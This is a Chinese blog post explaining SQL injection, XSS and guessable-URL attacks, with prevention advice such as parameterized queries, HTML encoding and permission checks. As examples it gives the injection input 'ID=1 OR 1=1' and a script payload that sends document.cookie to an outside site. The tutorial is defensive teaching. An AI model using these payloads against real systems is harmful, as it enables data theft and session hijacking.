安全上你不该犯的错

互联网项目里边,SQL注入漏洞、XSS漏洞和猜测URL攻击这三个漏洞可谓历史悠久,然而直到今天还有人不断中枪,也真是微醺。

这几个漏洞说大也大,说小也小。说大是说这些漏洞危害大,会导致数据层面的安全问题;说小是从技术层面上讲都是未对外部输入做处理导致的,想要做针对性地防范很简单。下面简单看看这些漏洞的原因及防范方法。

SQL注入

SQL注入之所以存在,主要是因为工程师将外部的输入直接嵌入到将要执行的SQL语句中了。黑客可以利用这一点执行SQL指令来达到自己目的。举例来说,有一个接受参数为id的页面,在接收到id后从数据库中查询相应的数据, 其代码大致如下:

string  SQL = "SELECT * FROM [User] WHERE ID=" + Request["ID"];

?正常情况下,Request["ID"]为数字,这条SQL能很好地工作。如果我们认为修改Request["ID"],将其内容修改为?ID=1 OR 1=1 我们将得到这样一条SQL:

?SELECT * FROM [User] WHERE ID=1 OR 1=1

因为有OR的出现这条SQL语句已经可以获取User表中的任意信息。利用SQL注入漏洞,我们能够获取想要的信息,同时可以通过猜测-报错获取到数据库其它表的结构和信息,如果数据库、服务器权限设置不当,甚至有可能能获取到整个服务器的控制权限。

规避这种漏洞有很多种办法,以现代的编程语言来说,选择一个合适的ORM框架可以减少不少问题而且能大大提高开发效率。

如果因为某些原因需要继续写SQL语句,参数化查询也能解决这一问题。

对于需要拼接SQL语句的程序来说,注意两点也可以避免此问题。第一点是如果查询的字段类型是数字等类型,在拼接SQL前先判断输入是不是一个合法的数字,不合法则终止程序即可。第二点是如果字段类型是字符串,则记得将输入里的的单引号进行转义。

XSS攻击

如果说SQL注入是直接在SQL里执行了用户输入,那XSS攻击是在HTML里代码执行了用户输入。相对SQL注入,XSS似乎更能引起人关注。几年前新浪微博被人利用XSS获取大量粉丝;3DM也曾经被植入script代码对另一个游戏网站进行了惨无人道的DDOS攻击。

这里还是用SQL注入中的例子来说,假设页面输出为:

?<div><%= Request["ID"] %></div>

这里我们可以在Request["ID"]里传入一段编码后的脚本,在最终输出的时候,就变成了一段可执行的javascript代码。

<script>window.location.href=‘anothersite.com?cookie=‘ + document.cookie;</script>

这段代码获取到当前页面的cookie值,并将cookie值传递到另一个名为anothersite.com的网站。利用这种模式,黑客可以获取到用户的登录信息或者将用户跳转到钓鱼网站来达成自己的目的。

XSS攻击也可以简单分为两种,一种是上述例子中利用url引诱客户点击来实现;另一种是通过存储到数据库,在其它用户获取相关信息时来执行脚本。

防范XSS攻击需要在所有的字段都对输入的字符串进行html encode(或者在输出时进行encode)。如果需要使用富文本编辑的,可以考虑使用UBB。

猜测URL攻击

猜测URL攻击是通过已知的GET、POST参数来猜测未公开的参数并尝试进行攻击。

以Request["ID"]为例,如果ID为1是合法的可访问的数据,可以通过尝试ID=2,ID=3等一系列来尝试是否对其它资源有访问、修改权限。如果控制不当,则可以轻松获得并修改数据。

要避免这种问题,方案一是使用较长的无规律的数字、字符来做为ID,增大猜测难度;对于需要登录的程序,可以判断用户身份是否有对应ID数据的访问、修改权限;如果ID已经是自增类型且不需要登录,可以用过在URL里增加无规律的校验字段来避免。

其它需要注意的地方

安全是一个系统工程。

要提高系统安全性,最首要的一点是不要相信任何输入!不要相信任何输入!不要相信任何输入!重要的事情说三遍。这里的输入除了URL里的GET参数、POST参数,还包括COOKIE、Header等可以进行修改的各类信息。

在程序设置方面,不输出客户不需要知道的各类信息,如原始的异常信息、异常附近的代码段等等,这样也能增加不少安全性。

最后,在测试或系统运行的过程中,可以使用类似appscan这样的安全检测工具来检查程序是否有漏洞。

PS:打个广告,最近在写一个关于研发、团队的公众号,有兴趣的朋友可以搜索“自留地”或扫描下面的二维码关注。

时间: 2024-08-25 22:03:51

安全上你不该犯的错的相关文章

在win2008 r2主域控制域上打开“组策略管理”报错“未打开组策略对对象。你可能没有合适的权限”

在win2008 r2主域控制域上打开“组策略管理”报错“未打开组策略对对象.你可能没有合适的权限” 打开组策略管理其它选项提示:找不到指定路径.之前做过的操作:取消域控主机上的共享目录sysvol和netlogon.关闭域控主机上和客户机上的“文件共享和打印机共享”. 现在打开域控主机上的组策略管理报上述两种错误.解决方法:1.C盘下搜索sysvol,找到该目录,恢复共享.2.域控主机及客户机启用文件和打印机共享3.开始---运行---services.msc----重新启动Netlogon服

自己犯得错---二分查找

二分查找都好难啊... 路途漫漫兮.没看书之前自己第一遍的实现,循环的终止条件是仅仅判断mid值是否落在区间内.当然这个是错误的,而且比较愚蠢. 第二次 查了下网上的实现后 把循环的判读条件改成了while(l < h) ,循环外直接return -1:对于我的实现,又犯了一个错误,这种条件下会少比较一个元素,就是少比较 l = h 时 指向的元素. 最后我把 循环条件改成了 while(l <= h) 才没有测试出错. 不过可能我的测试用例可能没有覆盖完全,明天再继续论证下. 二分查找还要一

Shell脚本易犯的错

shell脚本的易犯错误 1.     for  i in x y z :  这句是以空格作为分隔符的,当我们的$n中包含空格的话,就会有错误 如 for i in `ls *.mp3`  ,这句 ls *.mp3执行后如果有空格就gg了 直接 for i in *.mp3 就好了 2. cp $file $target :当$file中有空格时就会出错 正确: cp "$file" "$target" 但是$file为-开头的话,会被当作命令行选线处理,就像 cp

C++初学者常犯的错(持续更新)

对于一个初学者来说,常犯错是很正常的,就算是有了定功底的人也会犯一些低级错误,这很正常.现对我和学员常犯的错作一点整理,与大家共勉 1.一个变量未初始化就开始使用(如果定义在全局,变量会自动初始化,不在此列).比如    int a,sum;        cin>>a;    sum+=a;    cout<<sum;2.相等判断“日常化”.比如比较两数大小    if(a>b)cout<<">";         else if(a=

从GitHub上下载的项目总是报错

============问题描述============ 想看看别人的代码学习一下,但是从GitHub上下载下来,在Eclipse里import,总是报错,有的中文注释还会乱码. 我觉得可能是少了第三方库?但是为什么上传的时候没有一起上传呢? 新手,求教 ============解决方案1============ github上的很多都不是eclipse开发的,你自己建工程,拷过来就行了.

Android中使用java.util.Properties犯的错

今天尝试使用java.util.Properties来保存应用配置,然而遇到了好几个问题,对于熟悉此内容的来说可能都是猪一样的错误,但难免有像我一样的新手再次遇到,希望此文能有所帮助. 错误1 java.io.IOException: open failed: EROFS (Read-only file system)at java.io.File.createNewFile(File.java:940) 出错代码: 1 File file = new File("config.properti

MySQL数据库设计常犯的错以及对性能的影响

1.过分的反范式化为表建立太多的列 我们在设计数据库的结构时,比较容易犯的第一个错误就是对表进行了过分的反范式化的设计,这就容易造成了表中的列过多,虽然说Mysql允许为一个表建立很多的列,但是由于Mysql的插件式架构的原因,前面博客已经有介绍,Mysql的服务器层和存储引擎层是分离的,Mysql的存储引擎API工作时需要把服务器层和存储引擎层之间通过缓冲格式来拷贝数据,然后在服务器层将缓冲层的数据解析成各个列,这个操作过程成本是非常高的,特别是对于MyISAM的变长结构,和Innodb这种行

自己封装framworks上传到应用商店报错

参考链接: http://www.jianshu.com/p/60ac3ded34a0 http://ikennd.ac/blog/2015/02/stripping-unwanted-architectures-from-dynamic-libraries-in-xcode/ 原因:包含了模拟器内容 报错信息: ERROR ITMS-90087: "Unsupported Architectures. The executable for ***.app/Frameworks/SDK.fram

JDBC prepareStatement 存储在mysql上的datetime 时间字段报错的解决方法

遇到一个问题,网上找了很多资料 都不能解决 自己曲线救国解决了,记录一下,如果各位有更好的办法欢迎留言. 首先 我在mysql数据库上创建了一个表其中的createTime 字段用的dateTime类型(项目需要 我个人偏向bigint 毕竟做排序什么的 效率更高): 然后项目里用的JDBC ,当我使用prepareStatement时,prepareStatement.setTimestamp(6, qa.getCreateTime()); qa.getCreateTime()存的是new T